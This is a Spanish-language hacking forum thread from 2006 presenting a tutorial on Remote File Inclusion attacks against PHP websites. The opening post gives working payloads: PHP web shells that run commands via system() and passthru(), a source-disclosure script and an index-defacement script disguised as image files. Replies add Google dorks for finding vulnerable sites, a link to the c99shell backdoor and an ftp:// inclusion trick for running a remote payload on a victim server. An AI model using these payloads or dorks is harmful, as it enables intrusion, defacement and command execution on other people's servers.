Manual de RFI (Remote File Inclusion)

Iniciado por Hyde, 3 Noviembre 2006, 04:53 AM

0 Miembros y 1 Visitante están viendo este tema.

Hyde

Por principio definamos que RFI significa Remote File Inclusion (Inclusion remota de archivos), esto es producto de una vulnerabilidad en los sitios web a traves de la cual se puede hacer una inclusion de un archivo al server. Para encontrar dichas vulnerabilidades y explotarlas habria que buscarlas con el metodo GET, esto es, ligar los datos a la URL con las variables despues de un signo de interrogacion (?), recordando usar como espacio el singo de mas (+), por ejemplo, cuando usamos el buscador de google nos aparece algo similar a esto:

www.google.com.ar/search?hl=es&ie=UTF-8&q=la+busqueda&meta=

En dicha URL encontramos las siguientes variables: hl, ie, q, meta

No me detendre a explicar el metodo GET y POST en este momento, tratare de hacer un texto mas explicito sobre ellos mas adelante. Para este documento se da por entendido que se tiene un concepto de estos.

Sigamos:

La vulnerabilidad se haria mas o menos asi: index.php?pagina=inicio.php  desde aqui se podrian comenzar con la inclusion de archivos si existe tal bug. Si encontramos alguna que tengamos la idea de que es vulnerable podriamos probarla con nuestro amigo google usando el siguiente camino:

http://www.aquilaweb.com/index.php?variable=http://www.google.com

Si vemos que dentro del sitio se carga la web de google existe la posibilidad de que sea vulnerable dicha web. Para seguir con la vulnerabilidad ahora colocamos lo siguiente:

http.//www.aquilaweb.com/vuln.php?page=http//www.tuweb.com/exploit.gif

Debemos tomar en cuenta que no podemos cambiar la extension a php porque se ejecutaria en nuestro servidor y no en el otro, para hacer esto se debe tener una extension como jpg o gif que deben incluir y el script que se ejecutara en la web victima.

Paseando por la web he encontrado estos scripts:

Citar
<?
/* Este código sirve para ejecutar comandos en el servidor de la web. Esto se hace mediante la siguiente función, que abre la shell y ejecuta el comando que se define por la variable çmd. En este caso es GET para que se pueda definir por la barra de direcciones. También es importante destacar que solo funciona si PHP está configurado con safe_mode OFF*/
$çmd=$_GET[çmd];
system($çmd);
?>


Citar<?
/* Este archivo muestra el código fuente del archivo que se pasa por el método GET, mediante la variable file. */
$file=$_GET[file];
show_source($file);
?>

Fuente de scripts: texto de Paisterist (no recuerdo la URL exacta)

***


Cambiar el index:

Citar<?
$fp=fopen("index.php","w+");

fwrite($fp,"<title>Hacked</title>
<body bgcolor="#000000" text="#FF9900">
<center>
<font face="Fixedsys">
<font size="6">Hacked</font><br>
<font size="2">Own yOur B0x!</font>
</center> \n");
fclose($fp);
?>


Otro sencillo ejemplo. Guardar com .gif, .jpg, o .txt y hacer el remote file inclusion con la variable vulnerable y la url de este archivo.

Citar<?
  // çMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
  if (isset($chdir)) @chdir($chdir);
  ob_start();passthru("$çmd 1> /tmp/çmdtemp 2>&1; cat/tmp/çmdtemp;rm/tmp/çmdtemp");
  $output = ob_get_contents();
  ob_end_clean();
  if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output));
?>


Fuente: Ejemplos de RFI por el-brujo

***

El texto es totalmente hecho por mi basado en los textos de ambos sujetos. Cualquier publicacion externa debera llevar por lo menos la referencia de quienes han hecho los scripts y mia. Comentarios aqui.

Salu2

Hyde




satan69

ta bueno el manual... pero los ejemplo ubieras puesto con ejemplo de algunas web...

Hyde

Imagina que lo hubiera hecho... muchos los hubieran usado contra las webs, ademas el fin es que aprendan no que se dediquen a hacerlo por ahi siempre.

Salu2

Hyde




rakax

Buenas
Una pregunta,para encontrar una web k tenga una variable vulnerable puse algo asi en ggogle allinurl:.index.php?
pero esto como k no se acaba osea no encuentro nada hay alguna forma de encontrara web vulnerables mas rapido o mas facil?
Gracias.
Cuanto mas aprendo mas cuenta me doy de lo ignorante que soy.

www.raka.uni.cc

-sagitari-

Cita de: raka en  4 Noviembre 2006, 17:19 PM
Buenas
Una pregunta,para encontrar una web k tenga una variable vulnerable puse algo asi en ggogle allinurl:.index.php?
pero esto como k no se acaba osea no encuentro nada hay alguna forma de encontrara web vulnerables mas rapido o mas facil?
Gracias.

-.- ...

allinurl: index.php?ver=
allinurl: index.php?page=
allinurl: inicio.php?ver=
allinurl: *.php?ver=
allinurl: *.php?*=


No sé... ves probando... se nota que no entendiste el funcionamiento de la vulnerabilidad...
lee más tutos..... www.google.es


##Aquí os dejo el link del code de la shell c99shell muy buena...

http://dot.hazard.free.fr/hacking/exploits/Backdoor/c99shell.txt


~~~~~--
espero que lo uséis para aprendizaje acerca de la seguridad relacionada a webs...

rakax

#5
No si entender yo entiendo el problema es k nunca encuentro ninguna web,me e pasado 1 hoas buscando y no e encontrado (y eso k es el ataque k esta de moda) lo unico k me aparece son web k me saltan con lo tipico :
Warning: /home/.../..../..../..... lo mismo de siempre o sino la pagina no se encuentra.
Para mi k o tengo mala suerte o algo hago mal.  :P

P.D:Con respecto a la shell la intente probar en un server mio y no se por k me sale mucho codigo y partes en las que puedo subir archivo,pero si intento subir subir cualquier cosa no la sube sino que carga de nuevo la shell y no hace nada,la guarde en php por k esta en mi servidor,intente en .gif y me dice k no se puede cargar por k el codigo tiene errores.
Que sucede?
Cuanto mas aprendo mas cuenta me doy de lo ignorante que soy.

www.raka.uni.cc

Hyde

No todas las webs son vulnerables en el mismo sentido, debes probar con muchas y con distintas vulnerabilidades. No vas a encontrar una apenas comenzando, te lleva algo de tiempo...

Se me hace antietico poner aqui algunas que me se, pero te puedo mandar una, que ya no les importa saber nada de ella y la puedes usar de prueba, si quieres por privado.

Salu2

Hyde




rakax

Te lo agradeceria mucho para ver si voy aprendiendo algo.
Gracias
Cuanto mas aprendo mas cuenta me doy de lo ignorante que soy.

www.raka.uni.cc

izengabe

Hola!He estado probando lo que comentas con unas pruebas hechas por mí en mi máquina y no he logrado hacer que funcione correctamente.Me explico: con una extensión que no sea .php en el archivo malicioso(el que pongo yo en mi web),ya sea gif,jpg o directamente sin extensión,lo único que puedo hacer es ejecutar lo que ponga en el archivo sin poderle pasar parámetros mediante get.En cuanto cambio la extensión a .php puedo pasar parámetros,pero ocurre lo que comentas,que se ejecutaría en mi máquina...
Entonces mi pregunta es:qué configuración es necesaria para que esto funcione?mi configuración del php.ini está por defecto...
Bueno,espero haberme explicado bien... :rolleyes:
~~hAcK yoUr MiNd~~
  ~oKupA tU MeNte~

Thaorius

Solucion:
en vez de un server http, usar ftp, haci el archivo se descarga tal cual y el interprete de php lo procesa en el servidor victima, ejemplo:
www.pagina.com/ver.php?pagina=ftp://usuario:password@servidor.ftp.com/mixploit.php

Salludos
Si te sirvio mi aporte, encontrarás más en www.teoxstudios.com. Gracias!
Buscando un buen hosting? Click aquí